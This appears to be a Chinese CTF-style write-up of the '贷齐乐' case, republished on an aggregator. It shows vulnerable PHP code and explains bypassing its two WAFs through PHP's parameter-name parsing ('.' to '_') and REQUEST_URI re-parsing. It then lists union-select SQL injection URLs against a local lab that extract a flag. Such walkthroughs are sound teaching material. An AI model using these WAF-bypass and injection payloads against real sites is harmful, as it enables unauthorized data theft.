当前位置: 首页 > news >正文

贷齐乐案例

源码分析:

<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {if (is_array($string)) {// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}} else {// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);// 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;
}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {// 使用正则表达式检查字符串是否包含 SQL 注入关键词$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {// 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行echo "非法字符!";exit();}return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}
// 如果提交按钮被点击,则执行以下代码
//   $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {// 获取用户输入的用户 ID$user_id = $_REQUEST['i_d'];// 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录$sql = "select * from ctf.users where id=$user_id";// 执行 SQL 查询$result = mysql_query($sql);// 遍历查询结果,输出用户信息while($row = mysql_fetch_array($result)) {echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}
}
?>

第一道WAF(对字符进行了过滤):

通过第二道WAF(对字符进行转换,以及addslashes函数):

这里php版本记得改,我因为这里忘记改了折腾好久

数据库操作:

如果想找到可以使用的SQL注入漏洞,首要任务就是绕过两道WAF。

第二道WAF中explode函数例子(说白了就是分割):

我们在这段代码之间加一个打印函数,每次改源代码都记得要保存再刷新页面

结果如下

看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']中的字符覆盖到$_REQUEST[$_value[0]]中。

按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。

我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?(简单理解就是通过第一个WAF时让第二个能正常通过的参数代替第一个参数检测,然后第二道WAF没有了过滤功能就可以用第一个参数带入数据库了)

在想这个问题之前我先引用一个知识点

php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,这里我们做个测试。

验证成功

那么假设我发送的是这样一个请求: /index.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/index.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。

可在$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']却是11111。(简单来说就是第二个参数在请求之后转换成了user_id,而php在两个参数名相同的时候会取第二个正常参数通过第一个WAF,可在$_SERVER['REQUEST_URI']中并不会将.转换为_,所以取的是第一个参数)

  • 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad’,加了单引号,如果不成功肯定是报错的。
  • 2、我们要让第二道WAF拿到bad’,因为单引号过滤在第一道WAF处,所以不会报错。

上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:

我们尝试在$_SERVER['REQUEST_URI']赋值后打印$_REQUEST[$_value[0]]

我们在第一道WAF打印看看反馈

可以发现并没有报错并且取到的是第二个参数的值

在第二道WAF打印看看反馈

我们可以看到我们的假设是成立的,所以我们可以利用我们发现的开始注入。

这里由于我们不能使用括号(第二道WAF会进行替换),所以优先使用联合查询进行注入:(这里我们使用注释代替空格)

测试回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

之后我们在第二个字段进行注入得到数据库名字

http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

 这些库名全部混在一起了,我们可以利用python爬虫一个个爬出来,我这里就不写了

一般在比赛中是一个数据库即为ctf,我们就用ctf进行查询

爆出表名

这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:

http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名,我们可以直接进行查询,但是无法使用group_concat连接函数进行分割(因为这个函数会使用到括号会被替换)

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1

我们可以看出有一个flag字段

最后一步,得到flag!

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

http://www.lryc.cn/news/426821.html

相关文章:

  • [Qt][Qt 网络][下]详细讲解
  • 十三、OpenCVSharp的目标检测
  • STM32标准库学习笔记-6.定时器-输入捕获
  • vue前端可以完整的显示编辑子级部门,用户管理可以为用户分配角色和部门?
  • 量化交易的基石:ExchangeSdk
  • 【区块链+金融服务】基于区块链的一站式绿色金融开放平台 | FISCO BCOS应用案例
  • 使用Python实现深度学习模型:智能娱乐与虚拟现实技术
  • 亚马逊云科技产 Amazon Neptune 图数据库服务体验
  • 【网络安全】重置密码token泄露,实现账户接管
  • 计算机基础知识复习8.13
  • Unity URP无光照下Shadow 制作 <二> 合批处理
  • 微乐校园pf
  • 文件其他相关函数
  • SQLALchemy ORM 的关联关系之 ORM 中的多对多
  • sdkman install慢,采用squid代理
  • 实时监控Windows服务器:使用Prometheus和Grafana的终极方案
  • 【文科生能看懂的】牛顿二项式定理
  • Fly Catcher:通过监测恶意信号来检测飞机欺骗
  • 计算机网络——HTTP协议详解(上)
  • 十九、中介者模式
  • 编程参考 - 头文件中使用static inline
  • Uniapp使用antd组件库
  • 计算机毕业设计选题推荐-高校实验室管理系统-Java/Python项目实战
  • nest定义响应码message文本
  • Java | Leetcode Java题解之第342题4的幂
  • 【日常开发】java中一个list对象集合 将字段a为 大豆 小麦 玉米等元素放在最前面 并组成新集合
  • C++ 设计模式——原型模式
  • 【Harmony OS 4.0】待办列表案例
  • 快速把文件名统计到excel表的方法
  • 开源通用验证码识别OCR —— DdddOcr 源码赏析(一)